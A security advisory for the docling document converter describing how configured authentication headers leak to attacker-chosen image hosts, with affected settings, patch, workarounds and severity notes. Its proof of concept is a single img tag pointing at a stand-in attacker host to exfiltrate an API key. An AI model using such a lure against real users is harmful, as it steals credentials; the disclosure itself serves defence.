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GHSA-p3fw-7699-7926
doclingdocling-slimSummary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
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The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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